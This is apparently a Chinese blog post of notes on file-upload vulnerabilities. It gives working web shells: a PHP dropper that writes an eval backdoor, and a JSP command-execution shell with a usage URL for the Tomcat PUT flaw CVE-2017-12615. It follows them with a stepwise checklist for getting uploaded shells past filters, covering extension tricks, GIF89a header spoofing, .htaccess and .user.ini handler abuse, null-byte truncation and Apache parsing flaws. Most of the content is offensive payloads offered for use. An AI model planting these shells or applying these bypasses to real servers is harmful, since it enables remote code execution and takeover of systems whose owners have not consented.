upload-文件上传漏洞笔记

实例

<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?> 条件竞争,访问到会自己生成Tony.php文件

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

http://IP/5.jsp?pwd=023&i=ls Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)上传后门

upload上传思路:

  1. 先上传图片马(可以绕过JS前端防护和MIME验证)

  2. 之后先直接上传尝试(这里可能会检查文件内容是否有php字符串,<? , 和是否有文件头)

  3. 若有则进行绕过,检查php绕过(短标签绕过):<?=eval($_POST['cmd']);?> <?绕过:<script language='php'>@eval($_POST["cmd"]);</script> 文件头绕过:在文件最前面写入GIF89a

  4. 若没有则进行filename绕过,尝试特殊解析漏洞:php3,php5,phtml ; 大小写绕过:PHP,pHP; 点绕过:php.; 空格绕过:php空格;::$$DATA绕过:shell.php::$$DATA;双后缀:shell.phphpp;单循环绕过:shell.php. .;假文件名绕过:shell.php/.

  5. 若没有绕过就可以进行.htaccess绕过和.user.ini绕过,

    .htaccess绕过:

    GIF89a

    <FilesMatch "shell.jpg">

    SetHandler application/x-httpd-php

    </FilesMatch>

    .user.ini绕过:

    GIF89a auto_prepend_file=shell.jpg

    注:用蚁剑或菜刀链接实路径的shell.jpg改为index.php

  6. 若这些都不能绕过,则进行白名单绕过,使用0x00截断,0x0a截断。注POST提交时%00要用URL解码或者在Hex里面将值改为00

  7. 若还不行则考虑文件包含漏洞,结合文件包含漏洞进行上传

  8. 若不行则考虑二次渲染绕过(条件竞争绕过)

  9. 最后考虑构造数组进行绕过(数组绕过)

  10. 实际中先看是否有解析漏洞(IIS,Apache,Nginx0),有的话直接绕过就行了

Apache文件上传漏洞:

  1. 低版本Apache有从右到左开始判断解析,如果右边是不可识别后缀则往左看,如shell.php.123

  2. AddHandler导致的解析漏洞

    如果服务器给.php后缀添加了处理器:AddHandler application/x-httpd-php.php 那么,在有多个后缀的情况下,只要包含.php后缀的文件就会被识别出php文件进行解析,不需要是最后一个后缀,可绕过白名单过滤,如:shell.php.jpg

  3. Apache换行解析漏洞

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值